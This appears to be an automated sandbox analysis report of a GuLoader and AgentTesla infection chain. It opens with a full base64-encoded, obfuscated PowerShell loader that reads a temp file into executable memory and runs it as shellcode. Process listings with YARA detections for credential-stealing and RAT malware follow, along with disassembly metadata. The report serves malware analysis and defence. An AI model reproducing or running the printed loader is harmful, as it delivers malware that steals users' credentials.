NAAgAEEAbABnAG8AcgA2ACAAYgBpAHYAYQBsAHYAaQBhAG4AYgAgAGgAbwBsAG8AYwBoACAASAB5AGQAcgAyACAAQgBFAFAAQQAgAFYAYQBjAGMAIAB1AHAAZABpAHYAaQBuAGcAYgAgAFMAbQB5AGcAZQBzAGkAbAA0ACAAWgB5AGcAbgBlAG0AYQBtAGUAOAAgAE4AbwBuAGMAbwBuAHQAaQA3ACAAbQB1AGwAaQBlAHIAdAB5ACAARQBwAGkAdABhAHAAaABpADkAIABwAGYAZQBuAG4AaQBuACAASABFAE4ARgAgAGwAaQBxAHUAaQBmAGkAZQByACAAQQB0AG0AbwBzAHAAaABlAHIAaQA0ACAARQBSAE4AUgAgAFQAeQB2AGUAcgBpAGYAbwA2ACAAUgBlAHQAbABpADQAIAANAAoAIwB1AG4AcABhAHIAbwAgAFUAZABkAGUAMwAgAEgAeQBwAGUAcgBlACAASwBWAEkAVgBBAEwAUgBTACAAUwBtAHUAdABoADYAIABJAFIAUgBBAFQAIABLAE8AUgBQAFMARQBMAEkATgAgAE0AZQBzAG0AZQByADUAIABTAGsAaQBuAGQAdAAgAGMAdABlAG4AbwAgAEYAbAB1AHMAdABlAHIAaQAgAHAAbABhAHMAdABpAGMAIABEAG8AbQBpAG4AaQB6AGkANAAgAE4ARQBHAEEAVABJAFYARQBTAEYAIABMAGkAbgBpAGUAdABlAGcAbgBpADUAIABGAEwAQQBHAFMAVAAgAHMAaQBsAHYAZQByAGIAbwAgAEQASQBTAEMATwBVACAAVQBuAHMAdQBiAG8AcgBkAGkAIABTAHYAaQBuAGQAbABlAHIAIAANAAoAIwBjAG8AbgBmAGUAIABvAGIAbABpAGcAIABTAGwAdQBtAHAAZQA5ACAAawBvAG4AdABvAG4AdQBtAG0AZQAgAFYARQBMAEcAUgBFAFIARQBOACAAawBpAGwAZABlAHAAIABBAE4AVABJAFIAQQBDAEkAQQBMACAAVQBEAEwAQgBFAE4ARQBVAE4ASQAgAEkAUgBSAEUAUwAgAFMARQBBAE0ATABFAFQAIABBAG4AZABlAG4AYgBlAGgAYQBuADQAIAB0AHIAaQBsAGkAdABoAGEAIAB0AHIAaQBnAGEAbQBhAHIAbAAgAEkAbgB0AGUAcgBzAHUANAAgAEMASABFAEMASwBFAFIAIABIAEUAWABBAEMATwBMACAARgBMAEUAUgBCAFIAVQBHACAAZwBsAGEAdABiAGEAIABSAHUAdAB5AGwAZQAgAEMAbwBwAHAAZQByADcAIAANAAoAIwBiAHIAdQBnAGUAcgBtACAAUwB0AGkAbgBrAGUANwAgAFQAbwBlAHIAZQAgAEQAZQBnAGEAYQByAGQAIABWAGEAcwBjAG8AbgB2AGkAdAAgAEQAZQBwAG8AcwBpAHQAdQAgAEUAaQBjAG8AcwBhADkAIABQAGUAcgBvAGIAcgBhAGMAOAAgAFMARQBLAFUATgBEAFIATABJAFQAIABEAGUAbgB1ACAADQAKACMAbQBmAGkAawBrAGUAbgBzACAAaQBuAHQAZQByAHMAIABWAGEAbABnAGsAcgBlAGQAcwBlACAAUAByAG8AcwBpAGYANAAgAGsAbABlAG0AcwBrAHIAdQAgAFQAaQBsAG4AYQAgAFAAYQByAHQAaQBrAGEAbQAzACAAQQBwAHAAbwBpAG4AdABlAHIAIABUAHIAeQBrAGkAbQBwADgAIABUAG8AaQBsAGUAdAA4ACAAQgBFAFQATABFAEgARQBNAFMAUwAgAEgAZQBwAHQAMgAgAFAAbwBzAHQAcAB1ADQAIABMAHkAcwBpADcAIABvAHAAbQB1AG4AdAByAGkAbgBnACAAUwBQAE8ATwBNAFAAUgBHAEUAVAAgAGMAbwB3AGIAbwB5AGUAcgB0ACAARgBPAFIATABOAEcAUwBUACAAZgBhAGkAcgBsAGUAYQBkACAAVABBAFIASQBGAEUAIAANAAoAIwBVAG4AdgBvACAAUwBvAHAAcgA5ACAAbgBvAG4AcwAgAG4AbwBuAGEAYgBzAG8AcgAgAE0ATwBOAEUAWQBBAEcARQAgAHAAbwBzAHQAawBvACAAYwBhAHIAcABvAHAAdAAgAEMAbwBuAGMAaQBvAG4AIABUAEUAVgBBAE4ARABGACAAVABFAEwARQAgAEQAaQBzAHAAcgBlAGoAdQAgAFQAYQBsAGwAaQB1AG0AbQBlAHQAOQAgAGIAdQByAG8AZQBrAHMAYQBtACAAbQB1AGwAdABpAGwAaQAgAHMAawBhAHIAcABzACAAYQBuAHQAaQBrAGsAZQBuACAAYQBtAGIAdQBzACAASwByAGEAZgB0AHUAZAB0ADgAIABVAG4AZABlAHIANgAgAEsAbwBkAHUAcgBpAHQAZQBkADgAIABJAE4AVABFAEwATABJAEcARQAgAFMASQBEAEUATAAgAE0AYQB5AG8AbgBuAGEAaQBzACAAVABBAEIARQBMAEwAQQBSAEkAQQAgAA0ACgAjAEEAUgBCAEEAQwBJAE4AVwBBACAAUABhAHIAbwB4AHkAdABvAG4AMQAgAFMAcQB1AGEAbQBhAHQAZQBkAHIAMwAgAEwAaQBnAGIAcgBuAGQAMQAgAEkATgBUAFIATwBQAFUATABTACAATQBhAG4AZQByAG4AZQBzAGkAIABCAEEAQQBEAFQAWQBQAEUAIABBAHYAbwB3AHMAbQAgAGYAbwByAHYAIABMAHUAbQBwADYAIABGAG8AcgBlAHAAYQBsADEAIABNAGEAcwBrACAAQQBnAHQAcABhACAAZQBuAHQAYQBtAGUAYgBhACAAUABFAFIASQBTAEsATwBQAEgAIABVAGQAcgBhAGEANgAgAA0ACgAjAFQAUgBJAFMAUwAgAEkAbgBmAGkAbAA3ACAAUgBFAFAAVQAgAEQAaQBnAGUAcwAgAEMAbwBuAHYAMQAgAEYAaQBsAGwAaQBzAHQAIABJAHMAbABhAG0AaQBzAHQAIABEAE8AWgBaAEwARQBEACAARABlAG4AdQBkAGEAMQAgAEgAZQByAG8AaQBuAGUANgAgAEsAYQBwAHUAbgBlAHIAaQBuADcAIABGAGUAdgBlAHIAdAByAGEAcAAgAEsAdQBsAGQAawBhAHMAdAAgAE0AYQByAGsAIABCAHIAbwB0AGgAZQByAHQAbwAyACAAbQBhAGMAcgAgAGMAbwBuAGoAdQBuACAATQBpAGsAYQBkAG8AYQBmACAAcwB0AGEAbgBkAHMAZQB0AGkAbgAgAFUAbgByAGUAcABsAGkAYQA4ACAASwBJAFMAUwBZAFMAIABDAHkAbQBiAGwAaQBuACAAUABZAEcATQBMAEEATgBDAEUAIABIAGEAcwBwAGUAcgBrAGEAdgBlADYAIABBAGsAYQBkAGUAbQBpAHMAIAANAAoAIwBLAE8ATQBGAE8AUgAgAHIAcwB0AGUAZABzAGgAZQBtAG8AIABlAGcAZQB0ACAAZQBtAGUAbgBkAGUAIABTAG0AYQBzAGgAMgAgAEwAbwB0AGEAMwAgAEEAZgBoAG4AZwB0AGUAcwBzAHQANQAgAGIAZQB0AGkAbgBvAHUAIABQAFIATwBXAEwAIABPAG0AaQBzAHMAaQB2ACAAUAByAGUAYQBiACAADQAKACMAQwBoAGUAcwBrAGUAeQBzAHUAbgA5ACAARgBPAFIARQBWAEEATAAgAG4AbwBuAG4AYQAgAEEAbQBhAGQAbwB1ACAARwBMAEkARABJAE4ARwBGACAAVgBpAGQAZQBvAGIAYQA2ACAATgBlAG0AYQB0ACAASwBMAEUAQgBJAEwARQBOACAAVAB5AHAAaQAgAFMAaQBkAGUAdgBlAGoANgAgAFMAawBhAHIAdgBlACAAQQBnAGcAcgAgAE0AaQBtAGEAaABvAG8AMQAgAFIARQBNAE8ATgBTAFQAUgAgAEsAYQBkAG0AaQBlAHIAZQAzACAAbABhAG4AZABzAGEAcgBrAGkAIABBAHQAdABhAGMAMwAgAEYAQQBOAEUARgBKACAATQB1AGwAdAAxACAADQAKACMARAB1AGIAbABhAG4AdABlACAATABlAGQAZQByACAAYwBsAGUAcgBpACAARQBwAGkAZABpAGQAeQA1ACAAVQBuAHYAZQBuAGUANQAgAGcAbwB1AGEAYwBoAGUAZwBlACAATQBvAGQAcwB0AG4AaQBuAGcAMQAgAFMATABVAFQAVABJAEQAIABRAHUAYQBsAGkAdABhADgAIABLAFYARwBBAFYATABMAEUAIABVAEUARwBFACAAUwBUAEEAVABTAFMASwBBAFQAIABBAGIAcwB0ACAAVAByAGEAYwBoAGUAbgBjADkAIABpAHIAcgBlACAAcwBoAGEAZwBwAGkAYgBlACAAUwBlAG0AaQBmAGkAbgA0ACAAcgBhAHYAZQBuACAATQBpAGsAcgBvAHMAawAxACAAUgBVAE4ARABTAFQAWQBLAEsARQAgAEIAbABrAGgAYQB0AHQAZQBzACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABUAGUAcgByAGEAawA1ADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGcAZABpADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0ARgBvAG4AdABzAEEAKABzAHQAcgBpAG4AZwAgAG0AYQB6AGUAYgAsAHUAaQBuAHQAIAByAGUAdAByAG8AZABhAHQAZQB0ACwAaQBuAHQAIABTAFQAUgBJAEsAVgAsAGkAbgB0ACAAVABlAHIAcgBhAGsANQAwACwAaQBuAHQAIABLAFIAUwBFAEwAUwAsAGkAbgB0ACAAUwBJAEwARQAsAGkAbgB0ACAASQBuAGQAdABhAHAAcABlACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAEMAcgBlAGEAdABlAEYAaQBsAGUAQQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQBhAGMAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABTAHQAcgApAF0AcwB0AHIAaQBuAGcAIABtAGEAegBlAGIALAB1AGkAbgB0ACAAcgBlAHQAcgBvAGQAYQB0AGUAdAAsAGkAbgB0ACAAUwBUAFIASQBLAFYALABpAG4AdAAgAFQAZQByAHIAYQBrADUAMAAsAGkAbgB0ACAASwBSAFMARQBMAFMALABpAG4AdAAgAFMASQBMAEUALABpAG4AdAAgAEkAbgBkAHQAYQBwAHAAZQApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAVABlAHIAcgBhAGsANQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABLAHIAaQB0AGkAawBrAGUAcgBkADgALABpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwAsAHIAZQBmACAASQBuAHQAMwAyACAAVABlAHIAcgBhAGsANQAsAGkAbgB0ACAARABpAHMAYwBvAG0AbQBlAG4AMgAsAGkAbgB0ACAAVABlAHIAcgBhAGsANQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAFIAZQBhAGQARgBpAGwAZQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEMARABBAEMAKABpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwAwACwAdQBpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwAxACwASQBuAHQAUAB0AHIAIABQAHUAbQBpAGMAbwBzAGUAZgBhADcAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAUAB1AG0AaQBjAG8AcwBlAGYAYQA3ADMALABpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAVQBTAEUAUgAzADIAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABFAG4AdQBtAFcAaQBuAGQAbwB3AHMAKABJAG4AdABQAHQAcgAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwA1ACwAaQBuAHQAIABQAHUAbQBpAGMAbwBzAGUAZgBhADcANgApADsADQAKAA0ACgB9AA0ACgAiAEAADQAKACMAYgB1AHIAcgBlAG4AIABSAEUAVABDAEgASQBOAEcAIABLAGIAZQBzAHUAbQBzAHIAdQAgAFcAQQBZAFcAIABjAGEAZABtAGkAdQBtAGYAIABUAFIARQBTACAAUgBFAEcASQBPAE4AQQBMAEkAIABpAG4AawBiAGUAcgByAGkAZQBzACAAUgBFAEcASQBTAFQAUgAgAFIAYQBzAHQAZQB0AHUAZQBnAGUANQAgAFAAZQBsAHYAaQBtAGUANQAgAFIAZQBlAGwAbAAgAA0ACgAkAFQAZQByAHIAYQBrADUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVAByAG8AbABkAGUAcwAuAGQAYQB0ACIADQAKACMAQgBBAFUAVABBACAARgBSAE8AVwBOACAAUABhAGwAbQAgAEUAcABhAG4AbwAgAE4AbwBuAGkAbgBjAHIAZQBhACAAVQBuAGUAbQBiAGEAeQBlAGQAdQA4ACAAQgBFAE4AWgBJAE4AQwBIAEEAIABiAG8AbgBhAGkAcgBlACAASQBEAEUAQQBMAFkASwAgAEsATgBJAFAATABFACAATABhAGsAcwBmADkAIABCAEUAQwBIAEEAIABGAGwAYQBzAGsAZQBuAHMAcwAgAE0AYQBzAHMAYQBrAHIAZQByADYAIABTAGsAZQB3ACAARgByAG8AdwBzAHQAcwB0AHIAZQAgAEMAaABpAHIAaQBuAG8AdQA2ACAAUgBVAEIAQgBMAFkAUwBUAFIAIABPAG4AYwBpAGEAcwBhAG0AbQBlACAATwBwAHQAbwBpADQAIABTAHkAYwBhAG0AaQBuAGUAIABTAGEAbABtAGkAcwAgAA0ACgAkAFQAZQByAHIAYQBrADUAMwA9ADAAOwANAAoAJABUAGUAcgByAGEAawA1ADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAVABlAHIAcgBhAGsANQA4AD0AWwBUAGUAcgByAGEAawA1ADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAVABlAHIAcgBhAGsANQAzACwAMAAsAFsAcgBlAGYAXQAkAFQAZQByAHIAYQBrADUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAGQAaQBzAHAAbABlAGEAcwB1ACAAUwB1AGIAcwBhAGwAdABkADcAIABiAHUAZwBoAHUAbABlAHIAcwBoACAAUwBlAHAAbwBuADUAIABQAEUATgBTAEkATwBOAEUAUgBOACAAUwB2AHYAZQBmAGwAeQBlADMAIABUAFIATwBMAEQATQBBACAAZwBhAHMAdAByAG8AcABoAGkAIABlAG4AYwBoAGEAIABLAEwAQQBWAEUAUwAgAG0AbwBkAHIAZQBnAG4AaQBuACAATQBJAEwASQBFAFUAUwAgAFMAbwBnAGcAZQBuACAARgBPAFIAVABBAEwARQBSAFMAIABmAGEAbQBsAGYAcgBpAGQAIABEAGkAcwBwADUAIABPAHAAaAB2ACAAUwBrAHUAbABwAHQAIABlAG4AcwBpAGQAaQAgAFMAawB5AGYAbwAgAEMAbwBuAGkAbgBlAGUANgAgAFIAZQBzAGUAcgB2AGUAbwBmACAAdgBhAGkAcgAgAEUAUABJAEQARQBNACAAQQBFAFIATwBNAEUAVAAgAFMARQBYAEYASQBMAE0AIABTAFQAQQBLAE4ASQAgAEcAYQBuAGcAYgByAGUAZAAxACAAUwBVAFMAUABFAE4AIABDAHIAeQBwAHQAIABEAFkARwBUAEkARwBHAFIAQwAgAEQASQBTAFAAVQAgAA0ACgAkAFQAZQByAHIAYQBrADUANAA9AFsAVABlAHIAcgBhAGsANQAxAF0AOgA6AFYAaQBhAGMAKAAkAFQAZQByAHIAYQBrADUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAYgBzACAASQBuAHQAcgBhAHQAcgAgAFUAbgBmAHIAdQBpAHQAIABFAE4ARABFAEIAQQAgAFMAZQBuAHQAaQBuAGUAMwAgAFIAUgBMAEkAIABPAHUAdABwAHIAZQBlAG4AcwBjADcAIABEAEUATgBTAEkAVABFAFQARQBSACAAUwBWAFUATABTAFQAIAANAAoAJABUAGUAcgByAGEAawA1ADUAPQAwADsADQAKACMARQBwAGkAZwBlAHUAOQAgAEIAZQBlAGgAaQB2AGUAcwBwAGUANAAgAG0AYQBsAHQAaABlACAAYgBhAHMAdABpAG4AYQBkACAAVAByAGsAcABsAGEAcwB0AGUANQAgAHUAZABzAGsAcgBlACAASQBOAEQATwBLAFQAUgBJAE4AIABTAFQASgBFAFIATgBFACAATgBvAHQAZQByAGkAbgBnADcAIABiAGUAcwBrAGEAZAAgAFAAQQBOAFQAUwBUAE4ASQAgAFMAbABhAHMAaABpAG4ANAAgAEwATwBUAEUAIABFAG0AcABpAHIANgAgAEkATgBOAE8AVgBBAFQASQAgAEUAcwB0AGkAbQBhAHQAIABxAHUAaQBzAHEAIABHAEEATABEAFIASQBNAEEATQBPACAARABCAEQASQBTAFAARQBSAEcAQQAgAG0AbwBuAG8AbABvAGcAIAByAHUAeABkAHkAYgBkAGUAcAAgAEUATgBWAEkAUwBBAEcAIABSAHUAZwBlACAARABPAE8AUgBTAFQARQBBACAASwBlAG4AeQBhAG4AZQByACAAUwBuAGkAZwBtAG8AcgBkAGUAcgA4ACAAcAByAGkAcwB2ACAAVABSAE8AVQBCACAAVQBQAEcAUgBPACAAQgB5AGcAZwBlAHQAaQBsADYAIABDAE8AQQBDAEgARgBVAEwAVABJACAAQgB5AHIAbwAxACAATgBvAG4AcgBlAGEAbABpAHMAMwAgAA0ACgBbAFQAZQByAHIAYQBrADUAMQBdADoAOgBDAEQAQQBDACgAJABUAGUAcgByAGEAawA1ADQALAAkAFQAZQByAHIAYQBrADUAMwAsADUAOAAzADQAMQAsAFsAcgBlAGYAXQAkAFQAZQByAHIAYQBrADUANQAsADAAKQANAAoAIwBTAGsAcgBkAGQAZQByACAAZgBqAGEAbgB0AGUAdgB5AHUAIABHAHUAZQBsADgAIABSAEUARABBAEsAIABUAEkATABUACAASQBOAFYASQBUAEUAUgBFAE4AIABHAEwAQQBEAEUAUwBUAEUAUwAgAHUAZwByAHMAcwBlAHQAcwB0AHkAIABOAEEAVgBOAEUARgBMACAASABVAE4ARABFAE4ARQBTACAAYwBhAHMAYwBhAGQAIABDAGEAbgBhAGEAbgBpAHQAaQAgAFUAbgByAGUAIABWAGEAYgBsAGUANAAgAEgAeQBnAHIAbwBwAGgAdABoACAATABhAHAAaQBjAGkAZAA5ACAARwBhAHcAawBpACAAdABpAGQAcwBhAGsAcwBlACAAQQBnAGUAcgBzAGUAIABhAGwAZQB1AHQAaQBhAG4AcwAgAGIAeQByAGEAYQBkAHMAbQAgAEUAbgB0AGUAbABvAGQAbwA0ACAAQgBSAEEATgBDAEgASQBPAEIARAAgAEMAbwByAHIAOAAgAFMAdQBwAGUAcgBhACAAUgBlAHMAYgBvAHIAZwAgAEgAbwB2AGUAZABiAGEAOQAgAFIARQBLAFIARQBFACAAcwB0AG8AcAB1ACAADQAKAFsAVABlAHIAcgBhAGsANQAxAF0AOgA6AEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoACQAVABlAHIAcgBhAGsANQAzACwAIAAwACkADQAKAA0ACgA=
                                                                                                                          Imagebase:0x60000
                                                                                                                          File size:433152 bytes
                                                                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:.Net C# or VB.NET
                                                                                                                          Yara matches:
                                                                                                                          • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000023.00000002.3337167137.0000000009500000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

                                                                                                                          General

                                                                                                                          Target ID:36
                                                                                                                          Start time:14:18:08
                                                                                                                          Start date:12/05/2022
                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                          Wow64 process (32bit):false
                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          Imagebase:0x7ff69d510000
                                                                                                                          File size:875008 bytes
                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language

                                                                                                                          General

                                                                                                                          Target ID:37
                                                                                                                          Start time:14:18:36
                                                                                                                          Start date:12/05/2022
                                                                                                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline
                                                                                                                          Imagebase:0x9f0000
                                                                                                                          File size:2141552 bytes
                                                                                                                          MD5 hash:EB80BB1CA9B9C7F516FF69AFCFD75B7D
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:.Net C# or VB.NET

                                                                                                                          General

                                                                                                                          Target ID:38
                                                                                                                          Start time:14:18:37
                                                                                                                          Start date:12/05/2022
                                                                                                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP"
                                                                                                                          Imagebase:0xa30000
                                                                                                                          File size:46832 bytes
                                                                                                                          MD5 hash:70D838A7DC5B359C3F938A71FAD77DB0
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language

                                                                                                                          General

                                                                                                                          Target ID:39
                                                                                                                          Start time:14:18:55
                                                                                                                          Start date:12/05/2022
                                                                                                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
                                                                                                                          Imagebase:0x810000
                                                                                                                          File size:108664 bytes
                                                                                                                          MD5 hash:914F728C04D3EDDD5FBA59420E74E56B
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:.Net C# or VB.NET
                                                                                                                          Yara matches:
                                                                                                                          • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000027.00000000.3144110838.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

                                                                                                                          Disassembly

                                                                                                                          Reset < >

                                                                                                                            Execution Graph

                                                                                                                            Execution Coverage:9%
                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                            Signature Coverage:0%
                                                                                                                            Total number of Nodes:57
                                                                                                                            Total number of Limit Nodes:3
                                                                                                                            execution_graph 50751 7a4dab0 50752 7a4daee 50751->50752 50753 7a4db3b 50752->50753 50754 45b46b9 GetFileAttributesW 50752->50754 50755 45b46c8 GetFileAttributesW 50752->50755 50754->50753 50755->50753 50686 7ab1662 50687 7ab167d 50686->50687 50691 7b5ff42 50687->50691 50694 7b5ff48 50687->50694 50688 7ab178e 50692 7b5ff8b EnumWindows 50691->50692 50693 7b5ffb9 50692->50693 50693->50688 50695 7b5ff8b EnumWindows 50694->50695 50696 7b5ffb9 50695->50696 50696->50688 50697 45b2614 50698 45b2622 50697->50698 50699 45b25d2 50697->50699 50703 45b46b9 50699->50703 50708 45b46c8 50699->50708 50700 45b2612 50704 45b46d2 50703->50704 50705 45b46f7 50704->50705 50713 45b4770 50704->50713 50718 45b4780 50704->50718 50705->50700 50709 45b46d2 50708->50709 50710 45b46f7 50709->50710 50711 45b4770 GetFileAttributesW 50709->50711 50712 45b4780 GetFileAttributesW 50709->50712 50710->50700 50711->50710 50712->50710 50714 45b4793 50713->50714 50723 45b4d5b 50714->50723 50729 45b4d70 50714->50729 50715 45b47b1 50715->50705 50719 45b4793 50718->50719 50721 45b4d5b GetFileAttributesW 50719->50721 50722 45b4d70 GetFileAttributesW 50719->50722 50720 45b47b1 50720->50705 50721->50720 50722->50720 50725 45b4d85 50723->50725 50724 45b4e8d 50724->50715 50725->50724 50735 45b6608 50725->50735 50726 45b4e4b 50726->50724 50727 45b6608 GetFileAttributesW 50726->50727 50727->50724 50730 45b4d85 50729->50730 50731 45b4e8d 50730->50731 50734 45b6608 GetFileAttributesW 50730->50734 50731->50715 50732 45b4e4b 50732->50731 50733 45b6608 GetFileAttributesW 50732->50733 50733->50731 50734->50732 50741 45b6608 GetFileAttributesW 50735->50741 50742 45b6668 50735->50742 50736 45b6632 50738 45b6638 50736->50738 50747 45b4bcc 50736->50747 50738->50726 50741->50736 50743 45b6680 50742->50743 50744 45b6695 50743->50744 50745 45b4bcc GetFileAttributesW 50743->50745 50744->50736 50746 45b66c6 50745->50746 50746->50736 50748 45ba798 GetFileAttributesW 50747->50748 50750 45b66c6 50748->50750 50750->50726

                                                                                                                            Executed Functions

                                                                                                                            Function 07BF3398 Relevance: 4.3, Strings: 3, Instructions: 502COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 565 7bf3398-7bf379c 633 7bf37a6-7bf37ba 565->633 635 7bf37c2-7bf3c29 633->635
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: "j$"j$4' l
                                                                                                                            • API String ID: 0-854752558
                                                                                                                            • Opcode ID: 8ab181bcd2d97f7ffbe5ed51520d776630bec47f3f50ae90781fc30144fbb635
                                                                                                                            • Instruction ID: a7c6a21f5835aa659658f03fc365446b298bec6ca88b2ae01f39c3d60878a5f8
                                                                                                                            • Opcode Fuzzy Hash: 8ab181bcd2d97f7ffbe5ed51520d776630bec47f3f50ae90781fc30144fbb635
                                                                                                                            • Instruction Fuzzy Hash: 75223D34A082188FCB59DFB4C854BEEB7B3FF88304F1145A9C119AB255DB39AD858F91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF33A8 Relevance: 4.2, Strings: 3, Instructions: 491COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 702 7bf33a8-7bf37ba 769 7bf37c2-7bf3c29 702->769
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: "j$"j$4' l
                                                                                                                            • API String ID: 0-854752558
                                                                                                                            • Opcode ID: 7001e00904f4a6db955d3b97a63f5ad2e7d9e9a9fa566ade902c63bfa2a8fd9d
                                                                                                                            • Instruction ID: 599d74f30114f61d7a8931c8a46704bda5a28bb6b25c9728daa9e7433dd8aae1
                                                                                                                            • Opcode Fuzzy Hash: 7001e00904f4a6db955d3b97a63f5ad2e7d9e9a9fa566ade902c63bfa2a8fd9d
                                                                                                                            • Instruction Fuzzy Hash: BA223D34A082198FCB59DFB4C854BEEB7B3FF88304F1145A9C119AB254DB399D858F51
